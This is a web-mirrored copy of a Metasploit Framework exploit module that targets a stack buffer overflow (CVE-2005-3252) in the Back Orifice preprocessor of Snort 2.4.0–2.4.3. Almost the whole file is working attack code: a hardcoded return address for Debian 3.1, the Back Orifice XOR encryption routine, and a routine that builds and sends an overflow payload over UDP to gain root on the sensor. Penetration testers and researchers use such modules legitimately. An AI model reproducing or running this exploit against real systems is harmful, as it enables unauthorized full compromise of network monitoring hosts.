Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/linux/ids/snortbopre.rb
43568 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Snort Back Orifice Pre-Preprocessor Buffer Overflow',
16
'Description' => %q{
17
This module exploits a stack buffer overflow in the Back Orifice pre-processor module
18
included with Snort versions 2.4.0, 2.4.1, 2.4.2, and 2.4.3. This vulnerability could
19
be used to completely compromise a Snort sensor, and would typically gain an attacker
20
full root or administrative privileges.
21
},
22
'Author' => 'KaiJern Lau <xwings[at]mysec.org>',
23
'License' => BSD_LICENSE,
24
'References' => [
25
['CVE', '2005-3252'],
26
['OSVDB', '20034'],
27
['BID', '15131']
28
],
29
'Payload' => {
30
'Space' => 1073, # ret : 1069
31
'BadChars' => "\x00"
32
},
33
'Targets' => [
34
# Target 0: Debian 3.1 Sarge
35
[
36
'Debian 3.1 Sarge',
37
{
38
'Platform' => 'linux',
39
'Ret' => 0xbffff350
40
}
41
],
42
],
43
'DefaultTarget' => 0,
44
'DisclosureDate' => '2005-10-18',
45
'Notes' => {
46
'Stability' => [],
47
'SideEffects' => [IOC_IN_LOGS],
48
'Reliability' => []
49
}
50
)
51
)
52
53
register_options(
54
[
55
Opt::RPORT(9080),
56
]
57
)
58
end
59
60
def msrand(_seed)
61
@holdrand = 31337
62
end
63
64
def mrand
65
return (((@holdrand = @holdrand * (214013 & 0xffffffff) + (2531011 & 0xffffffff)) >> 16) & 0x7fff)
66
end
67
68
def bocrypt(takepayload)
69
@arrpayload = takepayload.split(//)
70
71
encpayload = ''
72
@holdrand = 0
73
msrand(0)
74
75
@arrpayload.each do |c|
76
encpayload += c.unpack('C*').map { |v| (v ^ (mrand % 256)) }.join.to_i.chr
77
end
78
79
return encpayload
80
end
81
82
def exploit
83
connect_udp
84
85
boheader =
86
'*!*QWTY?' +
87
[1096].pack('V') + # Length, thanx Russell Sanford
88
"\xed\xac\xef\x0d" + # ID
89
"\x01" # PING
90
91
filler = make_nops(1069 - (boheader.length + payload.encode.length))
92
93
udp_sock.write(
94
bocrypt(boheader + payload.encode + filler + [target.ret].pack('V'))
95
)
96
97
handler
98
disconnect_udp
99
end
100
end
101
102